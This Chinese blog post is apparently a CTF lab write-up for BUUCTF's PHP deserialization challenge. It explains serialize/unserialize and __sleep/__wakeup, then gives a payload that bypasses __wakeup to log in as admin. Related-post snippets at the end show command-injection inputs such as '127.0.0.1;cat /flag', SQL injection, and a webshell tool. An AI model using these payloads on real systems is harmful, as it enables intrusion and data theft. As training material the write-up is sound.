当前位置:首页 > CTF > BUU > 正文内容

BUUCTF_web_第15题:[极客大挑战 2019]PHP_序列化详解

七星9个月前 (01-23)BUU576

打开题目, 有个猫, 先云吸个猫再说. 然后提到了备份网站. 既然是备份那自然想到的是www.rar或者zip之类的, 

再不行就爆破一下路径也就出来了, 这个题是www.zip, 直接访问, 就下载下来了

解压, 就有一个flag.php, 里面就有flag了.

但它是个假的.于是就只能审计代码了计代码了代码了码了了

在index.php中找到了:

一个文件包含, get传参赋值并且反序列化. 

既然有反序列化, 那就写写吧

php在传递参数时, 为了保证其数据类型及数据结构不被更改,

会将数据变成为一串特定格式的字符串.这个过程叫序列化.

eg:

 <?php
$str_0 = "abc";
printf(serialize($str_0)."<br>");

$num_0 = 123;
printf(serialize($num_0)."<br>");

class test{
    public $str_0="123";
    public $num_0=123;
}
$new_test = new test();
printf(serialize($new_test));
?>
输出:
s:3:"abc";
i:123;
O:4:"test":2:{s:5:"str_0";s:3:"123";s:5:"num_0";i:123;} 
可以看到, 序列化是通过serialize()函数实现的,

那么这串数据在传输结束后, 需要对其解码, 也就是反序列化.接着看代码:

 <?php
printf(unserialize('s:3:"abc";').'<br>');
printf(unserialize('i:123;').'<br>');
var_dump(unserialize('O:4:"test":2:{s:5:"str_0";s:3:"123";s:5:"num_0";i:123;}'));
?>
输出:
abc
123
object(__PHP_Incomplete_Class)#1 (3) { ["__PHP_Incomplete_Class_Name"]=> string(4) "test" ["str_0"]=> string(3) "123" ["num_0"]=> int(123) } 
可以看到, 反序列化是通过unserialize()实现的.

然后我们再仔细剖析一下这两个函数:


serialize()

序列化注意事项:

  • 序列化对象的时候,只会保存属性值
  • 继承时,序列化对象不会保存常量的值, 对于父类中的变量, 则会保存

在有些时候, 我们不希望保存对象中的一些属性, 这就不得不提序列化的自定义了:

当执行serialize()进行序列化时, 会先检查是否有__sleep()这个魔术方法(PHP中,把两个下划线开头的方法叫魔术方法), 如果有, 则先执行__sleep().

所以可以通过重载__sleep()来对序列化行为自定义.

  • __sleep()方法返回一个包含对象中, 所有要被序列化的变量名称的数组
  • 当__sleep()方法未返回任何内容,则 NULL 被序列化,并产生一个E_NOTICE级别的错误
  • __sleep()不能返回父类的私有成员的名字。这样做会产生一个E_NOTICE级别的错误。这时只能用Serializable接口来替代。
  • 常用于保存那些大对象时的清理工作,避免保存过多冗余数据

eg:

<?php
class User{
    public $str;
    public $num;
    public function __construct($str, $num)
    {
        $this->str = $str;
        $this->num = $num;
    }
}
$user = new User('abcdef', '123456');
var_dump(serialize($user));
?> 
输出:

string(61) "O:4:"User":2:{s:3:"str";s:6:"abcdef";s:3:"num";s:6:"123456";}"

然后我们加上__sleep()方法:

<?php
class User{
    public $str;
    public $num;
    public function __construct($str, $num)
    {
        $this->str = $str;
        $this->num = $num;
    }
    public function __sleep()
    {
        return array('str');
    }
}
$user = new User('abcdef', '123456');
var_dump(serialize($user));
?>
输出:

string(38) "O:4:"User":1:{s:3:"str";s:6:"abcdef";}"

可以看到, 他只序列化了$str


unserialize()

反序列化函数, 他可以将序列化后的结果, 在需要用到时, 反序列化成php的值.上面已经举了个栗子, 这里就不写了.

  • 如果需要反序列化的字符串不可解序列化,则返回 FALSE,并产生一个E_NOTICE
  • 返回的是转换之后的值,可为integer, float, string, array或object
  • 若被反序列化的变量是一个对象,在成功重新构造对象之后, 如果存在__wakeup()成员函数, 则会直接执行__wakeup().

在之前的例子中, 我们反序列化了一个object, 但是并没有定义test这个类, 所以可以看到, 在反序列化之后, 明确的提示了:

__PHP_Incomplete_Class

未定义的类. 我们可以尝试定义一下:

 <?php
class test{
    public $str;
    public $num;
}
$user = 'O:4:"test":2:{s:3:"str";s:6:"abcdef";s:3:"num";s:6:"123456";}';
var_dump(unserialize($user));
?> 
输出:

object(test)#1 (2) { ["str"]=> string(6) "abcdef" ["num"]=> string(6) "123456" }

如果不定义而调用__PHP_Incomplete_Class对象会抛出一个E_NOTICE.

但是不定义的情况下, 有两种方法可以用:

  1. 定义__autoload()等函数,指定发现未定义类时加载类的定义文件
  2. 可通过 php.ini、ini_set() 或 .htaccess 定义unserialize_callback_func。每次实例化一个未定义类时它都会被调用

第一种方法eg:

spl_autoload_register(function ($class_name) {
    // 动态加载未定义类的定义文件
    require_once $class_name . '.php';
}); 
第二种:
ini_set('unserialize_callback_func', 'mycallback'); // 设置回调函数
function mycallback($classname)
{
   // 只需包含含有类定义的文件
   // $classname 指出需要的是哪一个类
} 

序列化反序列化到这里就写完了. 接着做题吧:

上面讲到index.php文件中有个把get来的数据进行了反序列化, 所以我们需要传进去的值就是序列化之后的那一串东西.

接着看class.php文件:

一上来先定义两变量, 接着发现存在__wakeup(), 

而__wakeup()只干了一件事, 把$username重置为guest

那么上面有写到, 反序列化结束后, 才会执行__wakeup(), 

所以无论序列化前$username是什么, 在反序列化后, $username的值始终是guest.

而最后一个函数__destruct()是一个类的析构函数, 析构函数与构造函数相对应.

他的作用是:在销毁一个类之前执行的一些操作,比如说关闭文件、释放结果集等

所以这个函数在销毁类之前执行.

那么解题思路就清晰了:

只要get提交一串序列化后的字符串, 使得改字符串在反序列化后绕过__wakeup(), 

并且使$username=admin, $password=100就可以得到flag.

上面没有提到一个点, 那就是__wakeup()函数的绕过.

仔细阅读之前的序列化字符串:

O:4:"test":2:{s:5:"str_0";s:3:"123";s:5:"num_0";i:123;}

 就会发现, test类名后面的这个2表示的是属性的个数, 当这个属性的个数大于实际的个数时, 程序会跳过__wakeup().

所以这个题就很简单了, class中,Name的属性是私有的,所以序列化代码这么写:

<?php
 class Name{
    private $username;
    private $password;
    public function __construct($username, $password)
    {
        $this->username = $username;
        $this->password = $password;
    }
}
$user = new Name('admin', 100);
var_dump(serialize($user));
?>
返回:

string(77) "O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}"

这里需要注意, 私有属性名前要加类名,并使用%00包裹类名, 所以最终payload是这样的:

/?select=O:4:"Name":4:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}



充电:

各访问修饰符序列化后的区别

  • public:属性被序列化的时候属性名还是原来的属性名,没有任何改变
  • protected:属性被序列化的时候属性名会变成  %00*%00属性名 ,长度跟随属性名长度而改变
  • private:属性被序列化的时候属性名会变成  %00类名%00属性名 ,长度跟随属性名长度而改变

qixingbit.com

相关文章

BUUCTF_web_第九题:[GXYCTF2019]Ping Ping Ping

BUUCTF_web_第九题:[GXYCTF2019]Ping Ping Ping

是个ping, 传入/?ip=127.0.0.1看看命令执行, 立刻想到||管道符:/?ip=127.0.0.1||ls不行, 那就封号;/?ip=127.0.0.1;ls成功获得两个文件名flag....

BUUCTF_web_第12题:[极客大挑战 2019]Knife

BUUCTF_web_第12题:[极客大挑战 2019]Knife

本题考查了中国菜刀的使用, 及简单一句话理解阅读题目打开, 发现给了一句话:直接用中国菜刀连上:在根目录下直接找到了flag...

BUUCTF_web_第一题: [HCTF 2018]WarmUp

BUUCTF_web_第一题: [HCTF 2018]WarmUp

第一题: [HCTF 2018]WarmUp f12, 注释里有个文件, 访问, 成功获得审计代码. 审计代码里有个hint.php, 打开, 成功获得ffffllllaaaagggg,...

BUUCTF_web_第二题:[强网杯 2019]随便注

BUUCTF_web_第二题:[强网杯 2019]随便注

第二题: [强网杯 2019]随便注 测试一下, 1'# 返回正常, 发现是字符注入,尝试show一下database: 1';show databases;%23 发现出结果了:...

BUUCTF_web_第16题:[极客大挑战 2019]Upload

BUUCTF_web_第16题:[极客大挑战 2019]Upload

上传图片, 很自然想到图片马, 那就传个:然后发现提示:NO! HACKER! your file included '<?'过滤了<?那就是试试php语言的另一种写法:接着提示:Don'...

BUUCTF_web_第十题:[ACTF2020 新生赛]Exec

BUUCTF_web_第十题:[ACTF2020 新生赛]Exec

打开靶场, 和之前的linux系统命令执行一样, 但是这个没过滤, 直接127.0.0.1||cat /flag或者127.0.0.1;cat /flag就好了...

发表评论

访客

看不清,换一张

◎欢迎参与讨论,请在这里发表您的看法和观点。